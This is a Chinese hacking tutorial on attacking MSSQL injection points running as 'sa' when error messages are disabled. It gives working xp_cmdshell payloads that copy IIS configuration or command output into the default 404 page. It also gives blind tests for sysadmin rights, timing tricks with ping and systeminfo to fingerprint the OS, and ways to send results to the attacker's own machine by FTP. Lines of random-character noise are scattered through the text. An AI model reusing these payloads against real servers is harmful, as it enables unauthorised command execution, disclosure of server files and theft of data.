遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
6 x9 L- ]6 K/ g/ _$ ^/ x1 J J. Q% q, g% u e, r) a; `, a; B# ?+ L% r
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
/ n' B, \+ d0 ]9 r
) K9 n. V% H: z6 |( U+ J. { 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。2 e: i1 p: I, K, Q6 m
) F7 @4 Z4 c" d3 ^8 R0 O3 D
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm8 x6 S: \2 |7 B
) I, g! o5 W9 ], s6 e$ o 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--4 D0 V0 D, ^+ b7 g4 O0 ^; p4 n
3 M# p R. m# e g
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
: o/ P) Y7 Z1 L; d( @) ?+ {( U7 i
执行命令得到回显
8 Z" s# ~. X5 i+ |/ \. {1 [/ d2 j1 Z4 R& q9 W
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
+ t# a# b8 v! G# I& E/ M3 ~7 {/ |' g# Z! v+ |" H6 b2 L
得到文件也shi相同,把文件copy到404b.htm就行了
. `$ J" b1 E) s
' P+ R6 I* [- k! k, w by 28ice, 2008/6/264 L0 B' u/ _' L t# u8 ^1 `& E
' H* u& u' @' j- o- Y( E; V 摘自 28度的冰
5 X; i# O% X/ Q; \" }* o W) Q. B# |4 h7 i
盲注判断权限和操作系统版本7 V8 P& }; h7 d9 d8 I: p/ ]- O
# \ T' L! c6 }% g9 Y" D- I
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
# g# X2 C6 A3 b9 B2 v' R
/ o0 @4 e/ E$ r0 W: m 最简单的,可能以用这样的方法:( ~) b/ E4 |: w/ M5 f
5 n3 p! u* h. h v/ i! n3 _
1=(select IS_SRVROLEMEMBER(’sysadmin’))6 ]$ _* ~8 [8 ^9 q) j( L x! [/ P
& C) j4 B2 e2 m4 r7 q* \/ g 当然,有些情况下,这个方法并不奏效。4 l; U9 I" C' t0 q9 s5 d! O
( w( o$ ^" J g; m' |" @- k 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。" |" Q1 F% B% F6 l/ X) X
4 _: M9 i2 C) @/ m# o1 A, w
有个3办法可能以解决这个问题7 b* b: @4 {$ _+ Q5 X
' A. L4 c% \* J l1 q3 b) n/ @ a.把执行结果写到404b.htm,具体请看我的上一篇文章
/ q: p$ K; v' v: T) E* x D2 |; q# N, T7 }$ E) t5 e& ]
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟& H/ v) I: P1 j
# M. j# I" z1 ^! s! M$ n
c.如果1433端口可能以连接,那干脆新建个sql登录
0 n3 T" Y! ~+ ^: i" L) r, E5 N; a& s
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
: y" e3 Z3 m6 f7 t/ r% s) f
/ a% e- {' `* `3 u2 f c 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下4 o; \0 k, b: F
( f+ G% i G7 v( B 很简单
( ]2 [3 E3 ]( e* @' _4 d. Z/ I' v4 e- h5 q2 [( B/ |: v
执行systeminfo5 u+ Z* E, R* R5 j; l
( {0 m, x5 i# n* ^/ m; \
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |